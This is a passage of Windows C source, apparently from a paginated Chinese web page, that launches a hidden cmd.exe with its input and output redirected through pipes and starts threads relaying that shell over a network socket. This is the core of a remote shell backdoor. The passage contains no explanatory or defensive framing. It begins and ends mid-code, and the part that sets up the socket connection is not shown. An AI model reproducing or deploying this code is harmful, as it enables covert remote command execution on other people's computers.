STARTF_USESTDHANDLES; lpStartupInfo.hStdInput = hWriteShell; lpStartupInfo.hStdOutput = hReadShell; lpStartupInfo.hStdError = hReadShell; lpStartupInfo.wShowWindow = SW_HIDE;
GetSystemDirectory(lpImagePath,MAX_PATH); strcat(lpImagePath,("\\cmd.exe"));
WaitForSingleObject(hMutex,INFINITE); if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0) { OutputDebugString("CreateProcess Error !\n"); return -1; }
lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA)); lpProcessDataNow->hProcess=lpProcessInfo.hProcess; lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId; lpProcessDataNow->next=NULL; if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL)) { lpProcessDataHead=lpProcessDataNow; lpProcessDataEnd=lpProcessDataNow; } else { lpProcessDataEnd->next=lpProcessDataNow; lpProcessDataEnd=lpProcessDataNow; }
hThread[0]=lpProcessInfo.hProcess; dwProcessId=lpProcessInfo.dwProcessId; CloseHandle(lpProcessInfo.hThread); ReleaseMutex(hMutex);
CloseHandle(hWriteShell); CloseHandle(hReadShell);
sdRead.hPipe = hReadPipe; sdRead.sClient = sClient; hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId); if(hThread[1]==NULL) { OutputDebugString("CreateThread of ReadShell(Send) Error !\n"); return -1; }
sdWrite.hPipe = hWritePipe; sdWrite.sClient = sClient; hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId); if(hThread[2]==NULL) { OutputDebugString("CreateThread for WriteShell(Recv) Error !\n"); return -1; }
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |